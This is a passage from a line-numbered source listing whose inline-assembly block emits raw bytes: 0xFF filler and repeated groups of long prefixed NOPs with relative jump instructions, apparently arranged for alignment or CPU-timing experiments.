0xFF, 0xFF, 0xFF, 0xFF \t\n\ 595 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 596 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 597 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 598 | \t\n\ 599 | \t\n\ 600 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 601 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 602 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 603 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 604 | \t\n\ 605 | \t\n\ 606 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 607 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 608 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 609 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 610 | \t\n\ 611 | \t\n\ 612 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 613 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 614 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 615 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 616 | \t\n\ 617 | \t\n\ 618 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 619 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 620 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 621 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 622 | \t\n\ 623 | \t\n\ 624 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 625 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 626 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 627 | \t\n\ 628 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 629 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 630 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 631 | \t\n\ 632 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 633 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 634 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 635 | \t\n\ 636 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 637 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 638 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 639 | \t\n\ 640 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 641 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 642 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 643 | \t\n\ 644 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 645 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 646 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 647 | \t\n\ 648 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 649 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 650 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 651 | \t\n\ 652 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 653 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 654 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 655 | \t\n\ 656 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 657 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 658 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 659 | \t\n\ 660 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 661 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 662 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 663 | \t\n\ 664 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 665 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 666 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 667 | \t\n\ 668 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 669 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 670 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 671 | \t\n\ 672 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 673 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 674 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 675 | \t\n\ 676 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 677 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 678 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 679 | \t\n\ 680 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 681 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 682 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 683 | \t\n\ 684 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 685 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 686 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 687 | \t\n\ 688 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 689 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 690 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 691 | \t\n\ 692 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 693 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 694 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 695 | \t\n\ 696 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 697 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 698 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 699 | \t\n\ 700 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 701 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 702 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 703 | \t\n\ 704 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 705 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 706 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 707 | \t\n\ 708 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 709 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 710 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 711 | \t\n\ 712 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 713 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 714 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 715 | \t\n\ 716 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 717 | .byte 0xE9, 0x0c, 0x01, 0x00, 0x00 \t\n\ 718 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 719 | \t\n\ 720 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 721 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 722 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 723 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 724 | \t\n\ 725 | \t\n\ 726 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 727 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 728 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 729 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 730 | \t\n\ 731 | \t\n\ 732 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 733 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 734 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 735 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 736 | \t\n\ 737 | \t\n\ 738 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 739 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 740 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 741 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 742 | \t\n\ 743 | \t\n\ 744 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 745 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 746 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 747 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 748 | \t\n\ 749 | \t\n\ 750 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 751 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 752 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 753 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 754 | \t\n\ 755 | \t\n\ 756 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 757 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 758 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 759 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 760 | \t\n\ 761 | \t\n\ 762 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 763 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 764 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 765 | .byte 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF \t\n\ 766 | \t\n\ 767 | \t\n\ 768 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 769 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 770 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 771 | \t\n\ 772 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 773 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 774 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 775 | \t\n\ 776 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 777 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 778 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 779 | \t\n\ 780 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 781 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 782 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 783 | \t\n\ 784 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 785 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 786 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 787 | \t\n\ 788 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 789 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 790 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 791 | \t\n\ 792 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 793 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 794 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 795 | \t\n\ 796 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 797 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 798 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 799 | \t\n\ 800 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 801 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 802 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 803 | \t\n\ 804 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 805 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 806 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 807 | \t\n\ 808 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 809 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 810 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 811 | \t\n\ 812 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 813 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 814 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 815 | \t\n\ 816 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 817 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 818 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 819 | \t\n\ 820 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 821 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 822 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 823 | \t\n\ 824 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 825 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 826 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 827 | \t\n\ 828 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 829 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 830 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 831 | \t\n\ 832 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 833 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 834 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 835 | \t\n\ 836 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 837 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 838 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 839 | \t\n\ 840 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 841 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 842 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 843 | \t\n\ 844 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 845 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 846 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 847 | \t\n\ 848 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 849 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 850 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 851 | \t\n\ 852 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 853 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 854 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 855 | \t\n\ 856 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 857 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 858 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 859 | \t\n\ 860 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 861 | .byte 0xE9, 0x0c, 0x00, 0x00, 0x00 \t\n\ 862 | .byte 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x90 \t\n\ 863 | "); 864 | 865 | 866 | 867 | 868 | --------------------------------------------------------------------------------